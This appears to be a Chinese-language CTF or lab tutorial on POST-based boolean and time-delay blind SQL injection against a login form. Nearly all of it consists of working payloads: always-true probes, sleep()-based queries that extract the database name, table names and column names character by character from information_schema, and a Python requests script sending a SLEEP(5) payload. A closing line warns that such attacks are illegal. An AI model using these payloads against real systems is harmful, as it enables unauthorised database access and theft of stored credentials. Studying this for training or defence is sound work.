POST 方式时间注入是一种 SQL 注入攻击方法,它利用了 Web 应用程序中对 POST 请求参数处理不当的漏洞。在这种攻击中,攻击者会构造特定的 POST 请求,其中包含恶意的时间相关数据,以达到绕过验证、执行非法操作或获取敏感信息的目的。
基于布尔型/时间延迟POST注入
使用hackbar
输入?id=1
输入?id=1'
输入?id=1"
无报错信息,由此可推断这是一道非报错型注入
在不知道用户情况下,POST型中要判断字符型注入,使用万能语句如:
1 or 1=1 -- # 1) or 1=1-- # 1)) or 1=1-- #
1' or 1=1 -- # 1') or 1=1-- # 1') or 1=1-- #
1" or 1=1 -- # 1") or 1=1-- # 1") or 1=1-- #
由此可知此题是布尔型注入
猜数据库
uname=1' or left(database(),1)>'a' -- #&passwd=1 返回正确
uname=1' or left(database(),1)>'s' -- #&passwd=1 返回错误
uname=1' or left(database(),1)='s' -- #&passwd=1 返回正确
由此推断出数据库第一位为s.那么猜第二位:uname=1' or left(database(),2)>'sa' -- #&passwd=1
猜数据库长度
uname=1&passwd=1' or if(length(database())=8,1,sleep(5))-- #
1.猜数据库名(可以用 < > = 比较,对字符进行范围的判断,然后用二分法不断缩小范围)
uname=1&passwd=1' or If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #
uname=1&passwd=1' or If(ascii(substr(database(),2,1))=101,1,sleep(5))-- #
……….
2.猜数据库中的表
猜测第一个数据表的第一位是 e,...依次类推,得到 emails
uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))-- #
uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,1,sleep(5))-- #
3.猜users表里的列
uname=1&passwd=1' or If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))-- #
以此类推得到数据库的内容
以下是一个使用 Python 编写的示例代码,演示了如何进行 POST 方式时间注入:
import requests
# 目标 URL
url = "http://example.com/login"
# 构造恶意的时间注入 payload
payload = "username=admin' AND SLEEP(5)-- "
data = {
"username": payload,
"password": "pass123"
}
# 发送 POST 请求
response = requests.post(url, data=data)
# 打印响应时间
print("Response time:", response.elapsed.total_seconds())
温馨提示:时间注入是非法的攻击行为,会对他人的系统和数据造成严重的损害,在实际开发中,请遵守法律法规和道德规范。